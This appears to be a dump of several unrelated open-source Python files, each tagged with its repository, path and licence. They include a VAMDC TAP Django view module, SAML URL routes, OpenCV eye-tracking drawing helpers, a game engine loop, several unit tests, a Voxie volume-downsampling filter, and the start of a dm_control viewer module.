from .generators import *
from .sqlparse import SQL
REQUESTABLES = [req.lower() for req in [\
'AtomStates',
'Atoms',
'Collisions',
'Environments',
'Functions',
'Methods',
'MoleculeBasisStates',
'MoleculeQuantumNumbers',
'MoleculeStates',
'Molecules',
'NonRadiativeTransitions',
'Particles',
'Processes',
'RadiativeCrossSections',
'RadiativeTransitions',
'Solids',
'Sources',
'Species',
'States'] ]
# This turns a 404 "not found" error into a TAP error-document
def tapNotFoundError(request, exception):
text = 'Resource not found: %s'%request.path;
document = loader.get_template('tap/TAP-error-document.xml').render({"error_message_text" : text})
return HttpResponse(document, status=404, content_type='text/xml');
# This turns a 500 "internal server error" into a TAP error-document
def tapServerError(request=None, status=500, errmsg=''):
text = 'Error in TAP service: %s'%errmsg
document = loader.get_template('tap/TAP-error-document.xml').render({"error_message_text" : text})
return HttpResponse(document, status=status, content_type='text/xml');
def getBaseURL(request):
return getattr(settings, 'DEPLOY_URL', None) or \
'http://' + request.get_host() + request.path.split('/tap',1)[0] + '/tap/'
def getFormatLastModified(lastmodified):
return http_date(time.mktime(lastmodified.timetuple()))
class TAPQUERY(object):
"""
This class holds the query, does some validation
and triggers the SQL parser.
"""
def __init__(self,request):
if 'X_REQUEST_METHOD' in request.META: # workaround for mod_wsgi
self.XRequestMethod = request.META['X_REQUEST_METHOD']
self.HTTPmethod = request.method
self.isvalid = True
self.errormsg = ''
self.token = request.token
try:
self.request=CaselessDict(dict(request.GET or request.POST))
except Exception as e:
self.isvalid = False
self.errormsg = 'Could not read argument dict: %s'%e
log.error(self.errormsg)
if self.isvalid:
self.validate()
self.fullurl = getBaseURL(request) + 'sync?' + request.META.get('QUERY_STRING')
def validate(self):
try:
self.lang = self.request['LANG'][0]
self.lang = self.lang.lower()
log.info(self.lang)
except:
log.debug('LANG is empty, assuming VSS2')
self.lang='vss2'
else:
if self.lang not in ('vss1','vss2'):
self.errormsg += 'Only LANG=VSS1 or LANG=VSS2 is supported.\n'
try:
self.query = self.request['QUERY'][0]
except:
self.errormsg += 'Cannot find QUERY in request.\n'
try:
self.format = self.request['FORMAT'][0]
self.format = self.format.lower()
except:
log.debug('FORMAT is empty, assuming XSAMS')
self.format='xsams'
else:
if self.format != 'xsams':
log.debug('Requested FORMAT is not XSAMS, letting it pass anyway.')
try: self.parsedSQL=SQL.parseString(self.query,parseAll=True)
except: # if this fails, we're done
self.errormsg += 'Could not parse the SQL query string: %s\n'%getattr(self,'query',None)
self.isvalid=False
return
self.requestables = set()
self.where = self.parsedSQL.where
if self.parsedSQL.columns[0] not in ('*', 'ALL'):
for r in self.parsedSQL.columns[0]:
r = r.lower()
if r not in REQUESTABLES:
self.errormsg += 'Unknown Requestable: %s\n' % r
else:
self.requestables.add(r)
if 'species' in self.requestables:
self.requestables.add('atoms')
self.requestables.add('molecules')
self.requestables.add('particles')
self.requestables.add('solids')
if 'states' in self.requestables:
self.requestables.add('atomstates')
self.requestables.add('moleculestates')
if 'atomstates' in self.requestables:
self.requestables.add('atoms')
if 'moleculestates' in self.requestables:
self.requestables.add('molecules')
if 'moleculequantumnumbers' in self.requestables:
self.requestables.add('molecules')
self.requestables.add('moleculestates')
if 'moleculebasisstates' in self.requestables:
self.requestables.add('molecules')
self.requestables.add('moleculestates')
if 'processes' in self.requestables:
self.requestables.add('radiativetransitions')
self.requestables.add('nonradiativetransitions')
self.requestables.add('collisions')
# Always return sources, methods, functions for now.
self.requestables.add('sources')
self.requestables.add('functions')
self.requestables.add('methods')
if self.errormsg:
self.isvalid=False
def __str__(self):
return '%s'%self.query
def addHeaders(headers,request,response):
HEADS=['COUNT-SOURCES',
'COUNT-ATOMS',
'COUNT-MOLECULES',
'COUNT-SPECIES',
'COUNT-STATES',
'COUNT-COLLISIONS',
'COUNT-RADIATIVE',
'COUNT-NONRADIATIVE',
'TRUNCATED',
'APPROX-SIZE',
'REQUEST-TOKEN']
headers = CaselessDict(headers)
headlist_asString=''
for h in HEADS:
if h in headers:
response['VAMDC-'+h] = '%s'%headers[h]
headlist_asString += 'VAMDC-'+h+', '
response['Access-Control-Allow-Origin'] = '*'
response['Access-Control-Expose-Headers'] = headlist_asString[:-2]
lastmod = headers.get('LAST-MODIFIED')
if not lastmod and hasattr(settings,'LAST_MODIFIED'):
lastmod=settings.LAST_MODIFIED
if isinstance(lastmod,datetime.date):
response['Last-Modified'] = getFormatLastModified(lastmod)
elif isinstance(lastmod,str):
response['Last-Modified'] = lastmod
else:
pass
return response
def CORS_request(request):
""" Allow cross-server requests http://www.w3.org/TR/cors/ """
log.info('CORS-Request from %s'%(request.META['REMOTE_ADDR']))
response = HttpResponse('', status=200)
response['Access-Control-Allow-Origin'] = '*'
response['Access-Control-Allow-Methods'] = 'HEAD'
response['Access-Control-Allow-Headers'] = 'VAMDC'
return response
# Decorator for sync() for logging to the central service
def logCentral(sync):
def wrapper(request, *args, **kwargs):
response = sync(request, *args, **kwargs)
taprequest = TAPQUERY(request)
#log the request in the query store
#if the request comes from the query store it is ignored
user_agent = request.META.get('HTTP_USER_AGENT')
if request.method in ['GET', 'HEAD'] and \
response.status_code == 200 and \
user_agent not in (settings.QUERY_STORE_USER_AGENT, None) and \
settings.QUERY_STORE_ACTIVE:
logdata = {
# request unique ID
'secret': 'vamdcQS',
'queryToken': request.token,
'accededResource': getBaseURL(request),
'resourceVersion': settings.NODEVERSION,
'userEmail': '', # not used in this context
'usedClient': user_agent,
'accessType': request.method, # HEAD or GET
'outputFormatVersion': settings.VAMDC_STDS_VERSION,
'dataURL': "%ssync?%s"%(getBaseURL(request), request.META['QUERY_STRING']),
'query' : taprequest
}
try:
# SEND THE ACTUAL REQUEST
logreq = librequests.post(settings.QUERY_STORE_URL,
params=logdata, timeout=2000)
except Exception as e:
log.warn('Query Store unreachable! %s'%e)
else:
if logreq.status_code != 200:
log.warn('Query Store returned code: %s' % logreq.status_code)
log.debug('QS reply text:\n%s' % logreq.text)
return response
return wrapper
@logCentral
def sync(request):
request.token = "%s:%s:%s" % (settings.NODENAME, uuid.uuid4(), request.method.lower())
if request.method=='OPTIONS':
return CORS_request(request)
log.info('Request from %s: %s'%(request.META['REMOTE_ADDR'], request.GET or request.POST))
tap=TAPQUERY(request)
if not tap.isvalid:
emsg = 'TAP-Request invalid: %s'%tap.errormsg
log.error(emsg)
return tapServerError(status=400,errmsg=emsg)
# if the requested format is not XSAMS, hand over to the node QUERYFUNC
if tap.format != 'xsams' and hasattr(QUERYFUNC,'returnResults'):
log.debug("using custom QUERYFUNC.returnResults(tap)")
return QUERYFUNC.returnResults(tap)
# otherwise, setup the results and build the XSAMS response here
try: querysets = QUERYFUNC.setupResults(tap)
except Exception as err:
emsg = 'Query processing in setupResults() failed: %s'%err
log.debug(emsg)
return tapServerError(status=400,errmsg=emsg)
if not querysets:
log.info('setupResults() gave something empty. Returning 204.')
response=HttpResponse('', status=204)
response['Access-Control-Allow-Origin'] = '*'
return response
log.debug('Requestables: %s'%tap.requestables)
if hasattr(QUERYFUNC,'customXsams'):
log.debug("using QUERYFUNC.customXsams as generator")
generator = QUERYFUNC.customXsams(tap=tap,**querysets)
else:
generator = Xsams(tap=tap,**querysets)
log.debug('Generator set up, handing it to HttpResponse.')
response=StreamingHttpResponse(generator,content_type='text/xml')
response['Content-Disposition'] = 'attachment; filename=%s-%s.%s'%(NODEID,
datetime.datetime.now().isoformat(), tap.format)
headers = querysets.get('HeaderInfo') or {}
headers["REQUEST-TOKEN"] = request.token
response=addHeaders(headers,request,response)
# Override with empty response if result is empty
if 'VAMDC-APPROX-SIZE' in response:
try:
size = float(response['VAMDC-APPROX-SIZE'])
if size == 0.0:
log.info('Empty result')
response.status_code=204
return response
except: pass
return response
def cleandict(indict):
"""
throw out some keys
"""
return {k:v for k,v in indict.items() if (v and not '.' in k)}
def capabilities(request):
c = {"accessURL" : getBaseURL(request),
"RESTRICTABLES" : cleandict(DICTS.RESTRICTABLES),
"RETURNABLES" : cleandict(DICTS.RETURNABLES),
"STANDARDS_VERSION" : settings.VAMDC_STDS_VERSION,
"SOFTWARE_VERSION" : settings.NODESOFTWARE_VERSION,
"EXAMPLE_QUERIES" : settings.EXAMPLE_QUERIES,
"MIRRORS" : settings.MIRRORS,
"APPS" : settings.VAMDC_APPS,
}
return render(request, template_name='tap/capabilities.xml', context=c, content_type='text/xml')
from django.db import connection
def dbConnected():
try:
cursor=connection.cursor()
return ('true', 'service is available, database is connected.')
except:
return ('false', 'database is not connected')
def availability(request):
(status, message) = dbConnected()
c={"accessURL" : getBaseURL(request), 'ok' : status, 'message' : message}
return render(request, template_name='tap/availability.xml', context=c, content_type='text/xml')
def tables(request):
c={"column_names_list" : DICTS.RETURNABLES.keys(), 'baseURL' : getBaseURL(request)}
return render(request, template_name='tap/VOSI-tables.xml', context=c, content_type='text/xml')
| VAMDC/NodeSoftware | vamdctap/views.py | Python | gpl-3.0 | 13,366 |
# Copyright (C) 2010-2012 Yaco Sistemas (http://www.yaco.es)
# Copyright (C) 2009 Lorenzo Gil Sanchez <[email protected]>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from django.conf.urls.defaults import patterns, handler500, url
urlpatterns = patterns(
'djangosaml2.views',
url(r'^login$', 'login', name='saml2_login'),
url(r'^login/$', 'login', name='saml2_login'),
url(r'^acs$', 'assertion_consumer_service', name='saml2_acs'),
url(r'^acs/$', 'assertion_consumer_service', name='saml2_acs'),
url(r'^logout/$', 'logout', name='saml2_logout'),
url(r'^ls$', 'logout_service', name='saml2_ls'),
url(r'^ls/$', 'logout_service', name='saml2_ls'),
url(r'^metadata/$', 'metadata', name='saml2_metadata'),
)
handler500 = handler500
| Wazoku/django_saml2 | djangosaml2/urls.py | Python | apache-2.0 | 1,290 |
import cv2
import numpy as np
def draw_cross(bgr_img, (x, y), color=(255, 255, 255), width=2, thickness=1):
""" Draws an "x"-shaped cross at (x,y)
"""
x, y, w = int(x), int(y), int(width / 2) # ensure points are ints for cv2 methods
cv2.line(bgr_img, (x - w , y - w), (x + w , y + w), color, thickness)
cv2.line(bgr_img, (x - w , y + w), (x + w, y - w), color, thickness)
def draw_points(bgr_img, points, color=(255, 255, 255), width=2, thickness=1):
""" Draws an "x"-shaped cross at each point in a list
"""
for point in points:
draw_cross(bgr_img, point, color, width, thickness)
def blank_screen(device=None, screen_height=1280, screen_width=720, scale=0.5):
""" Creates a blank screen image for further drawing on
"""
screen_w_px, screen_h_px = (screen_width, screen_height) if device is None else device.screen_size_px
img_w, img_h = screen_w_px * scale, screen_h_px * scale
size = int(16 * scale)
x0, dx = int(img_w / 6), int(img_w / 3)
y0, dy = int(img_h / 6), int(img_h / 3)
screen_img = np.zeros((img_h, img_w, 3), dtype=np.uint8)
targets = [(x0 + i * dx, y0 + j * dy) for j in range(3) for i in range(3)]
map(lambda x : cv2.circle(screen_img, x, size, (255, 255, 255)), targets)
return screen_img
def draw_gaze(screen_img, gaze_pts, gaze_colors, scale=0.5, return_img=False, cross_size=16, thickness=1):
""" Draws an "x"-shaped cross on a screen for given gaze points, ignoring missing ones
"""
width = int(cross_size * scale)
for i, pt in enumerate(gaze_pts):
if pt is None: continue
draw_cross(screen_img, (pt[0] * scale, pt[1] * scale), gaze_colors[i], width, thickness)
def draw_normal(img, limbus, device, arrow_len_mm=10, color=(255, 255, 255), thickness=1, scale=1):
""" Draws an arrow pointing towards screen transformed by matrix
"""
focal_len_x_px, focal_len_y_px, prin_point_x, prin_point_y = device.get_intrisic_cam_params()
long_normal = map(lambda x : x * arrow_len_mm, limbus.normal)
arrow_pts_mm = [limbus.center_mm, map(sum, zip(limbus.center_mm, long_normal))]
# Mirror the normal in the x direction for drawing onto the video captured as-is by camera
arrow_trans_x = map(lambda v : int((v[0] / v[2] * -focal_len_x_px + prin_point_x) * scale), arrow_pts_mm)
arrow_trans_y = map(lambda v : int((v[1] / v[2] * focal_len_y_px + prin_point_y) * scale), arrow_pts_mm)
arrow_trans_tuple = zip(arrow_trans_x, arrow_trans_y)
cv2.circle(img, arrow_trans_tuple[0][:2], 3, color, -1)
cv2.line(img, arrow_trans_tuple[0][:2], arrow_trans_tuple[1][:2], color, thickness)
def draw_limbus(img, limbus, color=(255, 255, 255), thickness=1, scale=1):
""" Draws the 2d ellipse of the limbus
"""
(ell_x0, ell_y0), (ell_w, ell_h), angle = limbus.ransac_ellipse.rotated_rect
(ell_x0, ell_y0), (ell_w, ell_h) = (ell_x0 * scale, ell_y0 * scale), (ell_w * scale, ell_h * scale)
cv2.ellipse(img, ((ell_x0, ell_y0), (ell_w, ell_h), angle), color, thickness)
def draw_eyelids(eyelid_t, eyelid_b, eye_img):
""" Draws the parabola for top eyelid and line for bottom eyelid (if they exist)
"""
if eyelid_t is not None:
a, b, c = eyelid_t
lid_xs = [x * eye_img.shape[1] / 20 for x in range(21)]
lid_ys = [a * x ** 2 + b * x + c for x in lid_xs]
pts_as_array = np.array([[x, y] for (x, y) in zip(lid_xs, lid_ys)], np.int0)
cv2.polylines(eye_img, [pts_as_array], False, (0, 255, 0))
if eyelid_b is not None:
a, b = eyelid_b
start_pt, end_pt = (0, int(b)), (eye_img.shape[1], int(a * eye_img.shape[1] + b))
cv2.line(eye_img, start_pt, end_pt, (0, 255, 0))
def draw_histogram(img, bin_width=4):
""" Calculates and plots a histogram (good for BGR / LAB)
"""
hist_img = np.zeros((300, 256, 3))
bin_count = 256 / bin_width
bins = np.arange(bin_count).reshape(bin_count, 1) * bin_width
debug_colors = [ (255, 0, 0), (0, 255, 0), (0, 0, 255) ]
for ch, col in enumerate(debug_colors):
hist_item = cv2.calcHist([img], [ch], None, [bin_count], [0, 255])
cv2.normalize(hist_item, hist_item, 0, 255, cv2.NORM_MINMAX)
hist = np.int32(np.around(hist_item))
pts = np.column_stack((bins, hist))
cv2.polylines(hist_img, [pts], False, col)
hist_img = np.flipud(hist_img)
cv2.imshow('hist', hist_img)
def draw_histogram_hsv(hsv_img, bin_width=2):
""" Calculates and plots 2 histograms next to each other: one for hue, and one for saturation and value
"""
sv_hist_img, h_hist_img = np.zeros((300, 256, 3)), np.zeros((300, 360, 3))
sv_bin_count, h_bin_count = 256 / bin_width , 180 / bin_width
sv_bins = np.arange(sv_bin_count).reshape(sv_bin_count, 1) * bin_width
h_bins = np.arange(h_bin_count).reshape(h_bin_count, 1) * bin_width * 2
debug_colors = [ (255, 255, 255), (255, 0, 0), (0, 0, 255) ]
# Use ternary conditional for outputting to 2 different hists - a bit of a hack
for ch, col in enumerate(debug_colors):
hist_item = cv2.calcHist([hsv_img], [ch], None, [h_bin_count if ch == 0 else sv_bin_count], [0, 180 if ch == 0 else 255])
cv2.normalize(hist_item, hist_item, 0, 255, cv2.NORM_MINMAX)
hist = np.int32(np.around(hist_item))
pts = np.column_stack((h_bins if ch == 0 else sv_bins, hist))
cv2.polylines(h_hist_img if ch == 0 else sv_hist_img, [pts], False, col)
sv_hist_img, h_hist_img = np.flipud(sv_hist_img), np.flipud(h_hist_img)
h_hist_img[:, 0] = (0, 255, 0)
cv2.imshow('sat / val hist | hue hist', np.concatenate([sv_hist_img, h_hist_img], axis=1))
#----------------------------------------
# EXAMPLE USAGE
#----------------------------------------
if __name__ == '__main__':
bgr_img = cv2.imread('eye_images/andreas2_l.png', 3)
hsv_img = cv2.cvtColor(bgr_img, cv2.COLOR_BGR2HSV)
cv2.imshow("bgr_img", bgr_img)
draw_histogram(bgr_img)
draw_histogram_hsv(hsv_img)
cv2.waitKey()
| errollw/EyeTab | EyeTab_Python/draw_utils.py | Python | mit | 6,265 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('victim', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='victim',
old_name='comments',
new_name='additional_information',
),
migrations.RemoveField(
model_name='victim',
name='photo',
),
]
| Knowty/marksafe | victim/migrations/0002_auto_20160910_2125.py | Python | mit | 495 |
# coding=utf-8
# Copyright 2014 Pants project contributors (see CONTRIBUTORS.md).
# Licensed under the Apache License, Version 2.0 (see LICENSE).
from __future__ import (absolute_import, division, generators, nested_scopes, print_function,
unicode_literals, with_statement)
import os
from pants.backend.jvm.tasks.jvm_compile.scala.zinc_utils import ZincUtils
from pants_test.base_test import BaseTest
class TestZincUtils(BaseTest):
def test_get_compile_args(self):
jar_outside_build_root = os.path.join(os.path.sep, 'outside-build-root', 'bar.jar')
classpath = [os.path.join(self.build_root, 'foo.jar'), jar_outside_build_root]
sources = ['X.scala']
args = ZincUtils._get_compile_args([], classpath, sources, 'bogus output dir',
'bogus analysis file', [])
classpath_found = False
classpath_correct = False
for arg in args:
if classpath_found:
# Classpath elements are always relative to the build root.
jar_relpath = os.path.relpath(jar_outside_build_root, self.build_root)
self.assertEquals('foo.jar:{0}'.format(jar_relpath), arg)
classpath_correct = True
break
if arg == '-classpath':
classpath_found = True
self.assertTrue(classpath_correct)
| tejal29/pants | tests/python/pants_test/backend/jvm/tasks/jvm_compile/test_zinc_utils.py | Python | apache-2.0 | 1,310 |
# ========================== Start Copyright Notice ========================== #
# #
# Copyright 2014 F.D.I.S. #
# This file is part of Kinetic Gunner: Gunner of Angst #
# #
# For the latest version, please visit: #
# https://github.com/CertainlyUncertain/Kinetic-Gunner-Gunner-of-Angst #
# #
# This program is free software: you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation, either version 3 of the License, or #
# (at your option) any later version. #
# #
# This program is distributed in the hope that it will be useful, #
# but WITHOUT ANY WARRANTY; without even the implied warranty of #
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
# GNU General Public License for more details. #
# #
# You should have received a copy of the GNU General Public License #
# along with this program. If not, see <http://www.gnu.org/licenses/>. #
# #
# =========================== End Copyright Notice =========================== #
# Gunner of Angst Main Engine ------------------------------------------------ #
import time
class Engine(object):
''' The Root of the global Manager tree. '''
def __init__(self):
''' Creation. '''
pass
def init(self):
''' Create, Initialize, and Crosslink Each Manager. '''
import entityMgr
self.entityMgr = entityMgr.EntityMgr(self)
self.entityMgr.init()
self.keepRunning = True;
import gfxMgr
self.gfxMgr = gfxMgr.GfxMgr(self)
self.gfxMgr.init()
import sndMgr
self.sndMgr = sndMgr.SndMgr(self)
self.sndMgr.init()
import netMgr
self.netMgr = netMgr.NetMgr(self)
self.netMgr.init()
import inputMgr
self.inputMgr = inputMgr.InputMgr(self)
self.inputMgr.init()
import gameMgr
self.gameMgr = gameMgr.GameMgr(self)
self.gameMgr.init()
import cameraMgr
self.camMgr = cameraMgr.CamMgr(self)
self.camMgr.init()
import overlayMgr
self.overlayMgr = overlayMgr.OverlayMgr(self)
self.overlayMgr.init()
self.gameMgr.crosslink()
#self.gfxMgr.crosslink()
self.inputMgr.crosslink()
#self.camMgr.crosslink()
def stop(self):
''' Stops each Manager. '''
self.netMgr.stop()
self.overlayMgr.stop()
self.camMgr.stop()
self.gameMgr.stop()
self.entityMgr.stop()
self.sndMgr.stop()
self.inputMgr.stop()
self.gfxMgr.stop()
print "Engine Stopped."
def pause(self):
''' Pauses the game by "pausing" certain Managers. '''
pass
def run(self):
''' Runs the program, ticking each Manager in a loop, until quit. '''
import ogre.renderer.OGRE as ogre
weu = ogre.WindowEventUtilities() # Needed for linux/mac
weu.messagePump() # Needed for linux/mac
# Show Splash Screen
self.overlayMgr.showSplash()
self.gfxMgr.root.renderOneFrame()
time.sleep(4)
self.overlayMgr.hideSplash()
# Run the Game
self.oldTime = time.time()
self.runTime = 0
while (self.keepRunning):
now = time.time() # Change to time.clock() for Direct3D (Windows)
dtime = now - self.oldTime
if( dtime > 0.25 ):
dtime = 0.25
self.oldTime = now
self.entityMgr.tick(dtime)
self.gfxMgr.tick(dtime)
self.netMgr.tick(dtime)
self.camMgr.tick(dtime)
self.gameMgr.tick(dtime)
self.sndMgr.tick(dtime)
self.overlayMgr.tick(dtime)
self.inputMgr.tick(dtime)
self.runTime += dtime
weu.messagePump() # Needed for linux/mac
time.sleep(0.001)
self.stop()
def quit(self):
self.keepRunning = False
# Gunner of Angst Main Engine ------------------------------------------------ # | CertainlyUncertain/Kinetic-Gunner-Gunner-of-Angst | engine.py | Python | gpl-3.0 | 4,816 |
import sys
import unittest
from PyQt5.QtWidgets import QApplication
from PyQt5.QtTest import QTest
from PyQt5.QtTest import QSignalSpy
from PyQt5.QtCore import Qt
from PyQt5.QtMultimedia import QMediaPlayer
from gui.widgets import PlayerControlsWidget
app = QApplication(sys.argv)
class PlayerControlsWidgetTest(unittest.TestCase):
def setUp(self):
self.volume = 50
self.state = QMediaPlayer.StoppedState
self.widget = PlayerControlsWidget(self.volume, state=self.state)
def test_defaults(self):
self.assertEqual(self.widget.volumeSlider.value(), self.volume)
self.assertEqual(self.widget.playerState, self.state)
self.assertEqual(self.widget.durationLabel.text(), '00:00')
self.assertEqual(self.widget.currentTimestampLabel.text(), '00:00')
playButton = self.widget.playButton
QTest.mouseClick(playButton, Qt.LeftButton)
self.assertEqual(self.widget.playerState, QMediaPlayer.PlayingState)
playButton = self.widget.playButton
QTest.mouseClick(playButton, Qt.LeftButton)
self.assertEqual(self.widget.playerState, QMediaPlayer.PausedState)
playButton = self.widget.playButton
QTest.mouseClick(playButton, Qt.LeftButton)
self.assertEqual(self.widget.playerState, QMediaPlayer.PlayingState)
self.assertEqual(self.widget.songTimestampSlider.value(), 0)
self.widget.volumeSlider.setValue(120)
self.assertEqual(self.widget.volumeSlider.value(), 100)
self.widget.volumeSlider.setValue(-2)
self.assertEqual(self.widget.volumeSlider.value(), 0)
playButton.clicked.connect(self.onClicked)
QTest.mouseClick(playButton, Qt.LeftButton)
def onClicked(self, boolean):
self.assertEqual(boolean, False)
if __name__ == "__main__":
unittest.main()
| gdankov/sonance-music-player | player_controls_tests.py | Python | gpl-2.0 | 1,861 |
#!/usr/bin/python3
#
# Copyright (c) 2014-2022 The Voxie Authors
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
import numpy as np
import voxie
args = voxie.parser.parse_args()
context = voxie.VoxieContext(args)
instance = context.createInstance()
if args.voxie_action != 'RunFilter':
raise Exception('Invalid operation: ' + args.voxie_action)
with context.makeObject(context.bus, context.busName, args.voxie_operation, ['de.uni_stuttgart.Voxie.ExternalOperationRunFilter']).ClaimOperationAndCatch() as op:
filterPath = op.FilterObject
pars = op.Parameters
# print (pars)
properties = pars[filterPath._objectPath]['Properties'].getValue('a{sv}')
# print (properties)
inputPath = properties['de.uni_stuttgart.Voxie.Input'].getValue('o')
inputDataPath = pars[inputPath]['Data'].getValue('o')
inputData = context.makeObject(context.bus, context.busName, inputDataPath, [
'de.uni_stuttgart.Voxie.VolumeDataVoxel'])
outputPath = properties['de.uni_stuttgart.Voxie.Output'].getValue('o')
factor = properties['de.uni_stuttgart.Voxie.Filter.Downsample.Factor'].getValue(
'x')
origin = inputData.VolumeOrigin
sizeOrig = inputData.ArrayShape
spacingOrig = np.array(inputData.GridSpacing)
# print (origin, sizeOrig, spacingOrig)
# TODO: Don't cut away data at the end
# size = ((int(sizeOrig[0]) + factor - 1) // factor,
# (int(sizeOrig[1]) + factor - 1) // factor,
# (int(sizeOrig[2]) + factor - 1) // factor)
size = (int(sizeOrig[0]) // factor,
int(sizeOrig[1]) // factor,
int(sizeOrig[2]) // factor)
spacing = spacingOrig * factor
with inputData.GetBufferReadonly() as bufferOld:
arrayOld = bufferOld.array
arrayOld2 = arrayOld[:size[0] * factor,
:size[1] * factor, :size[2] * factor]
arrayOld3 = arrayOld2.view()
arrayOld3.shape = size[0], factor, size[1], factor, size[2], factor
dataType = ('float', 32, 'native') # TODO?
with instance.CreateVolumeDataVoxel(size, dataType, origin, spacing) as data:
with data.CreateUpdate() as update, data.GetBufferWritable(update) as buffer:
buffer[:] = 0
zCount = arrayOld3.shape[4]
for z in range(zCount):
buffer[:, :, z] = np.mean(
arrayOld3[:, :, :, :, z, :], axis=(1, 3, 4))
op.SetProgress((z + 1) / zCount)
version = update.Finish()
result = {}
result[outputPath] = {
'Data': voxie.Variant('o', data._objectPath),
'DataVersion': voxie.Variant('o', version._objectPath),
}
op.Finish(result)
| voxie-viewer/voxie | filters/downsample.py | Python | mit | 3,821 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function, absolute_import
from ..paths import TEST_PATH
import unittest
import os
import sys
from subprocess import call
from tempfile import mkdtemp
class UserTrainsAndUsesModelTest(unittest.TestCase):
"""Main test that does full cycle with excel files."""
def setUp(self):
self.tempdir = mkdtemp(prefix='textclassifiertest_')
def deffile(self):
return os.path.join(TEST_PATH, 'weather.def')
def synfile(self):
return os.path.join(TEST_PATH, 'weather.txt')
def datafile(self):
return os.path.join(TEST_PATH, 'weather.xlsx')
def modelfile(self):
return os.path.join(self.tempdir, 'model.bin')
def reportfile(self):
return os.path.join(self.tempdir, 'report')
def main_reportfile(self):
return os.path.join(self.tempdir, 'report.html')
def misclassified_reportfile(self):
return os.path.join(self.tempdir, 'report_misclassified_data.html')
def infile(self):
return self.datafile()
def outfile(self):
return os.path.join(self.tempdir, 'weather_out.xlsx')
def traincommand(self):
return [sys.executable, '-m', 'textclassifier.train', self.deffile(), '--synonyms', self.synfile(), self.datafile(), self.modelfile(), '-r='+self.reportfile()]
def classifycommand(self):
return [sys.executable, '-m', 'textclassifier.classify', self.infile(), self.outfile(), self.modelfile()]
def user_runs_training_command(self):
call(self.traincommand())
def then_report_is_generated(self):
if not os.path.isfile(self.main_reportfile()):
raise Exception('no main report generated')
if not os.path.isfile(self.misclassified_reportfile()):
raise Exception('no misclassified data report generated')
def then_model_is_generated(self):
if not os.path.isfile(self.modelfile()):
raise Exception('no model generated')
def user_runs_classification_command(self):
call(self.classifycommand())
def then_outfile_exists(self):
if not os.path.isfile(self.outfile()):
raise Exception('outfile does not exist')
def test_train_and_use_model(self):
self.user_runs_training_command()
self.then_report_is_generated()
self.then_model_is_generated()
self.user_runs_classification_command()
self.then_outfile_exists()
class UserInputsAndOutputsCsvFile(UserTrainsAndUsesModelTest):
def datafile(self):
return os.path.join(TEST_PATH, 'weather.csv')
def outfile(self):
return os.path.join(self.tempdir, 'weather_out.csv')
| estnltk/textclassifier | textclassifier/tests/test_user_trains_and_uses_model.py | Python | gpl-2.0 | 2,781 |
# Copyright 2018 The dm_control Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ============================================================================
"""Mujoco Physics viewer, with custom input controllers."""
from dm_control.mujoco.wrapper import mjbindings
from dm_control.viewer import renderer
from dm_control.viewer import user_input
from dm_control.viewer import util
constants = mjbindings.constants
enums = mjbindings.enums
functions = mjbindings.functions
_NUM_GROUP_KEYS = 10
_PAN_CAMERA_VERTICAL_MOUSE = user_input.Exclusive(
user_input.MOUSE_BUTTON_RIGHT)
_PAN_CAMERA_HORIZONTAL_MOUSE = user_input.Exclusive(
(user_input.MOUSE_BUTTON_RIGHT, user_input.MOD_SHIFT))
_ROTATE_OBJECT_MOUSE = user_input.Exclusive(
(user_input.MOUSE_BUTTON_LEFT, user_input.MOD_CONTROL))
_MOVE_OBJECT_VERTICAL_MOUSE = user_input.Exclusive(
(user_input.MOUSE_BUTTON_RIGHT, user_input.MOD_CONTROL))
_MOVE_OBJECT_HORIZONTAL_MOUSE = user_input.Exclusive(
(user_input.MOUSE_BUTTON_RIGHT, user_input.MOD_SHIFT_CONTROL))
_PAN_CAMERA_VERTICAL_TOUCHPAD = user_input.Exclusive(
(user_input.MOUSE_BUTTON_LEFT, user_input.MOD_ALT))
_PAN_CAMERA_HORIZONTAL_TOUCHPAD = user_input.Exclusive(
(user_input.MOUSE_BUTTON_RIGHT, user_input.MOD_ALT))
_ROTATE_OBJECT_TOUCHPAD = user_input.Exclusive(
user_input.MOUSE_BUTTON_RIGHT)
_MOVE_OBJECT_VERTICAL_TOUCHPAD = user_input.Exclusive(
(user_input.MOUSE_BUTTON_LEFT, user_input.MOD_CONTROL))
_MOVE_OBJECT_HORIZONTAL_TOUCHPAD = user_input.Exclusive(
(user_input.MOUSE_BUTTON_LEFT, user_input.MOD_SHIFT_CONTROL))
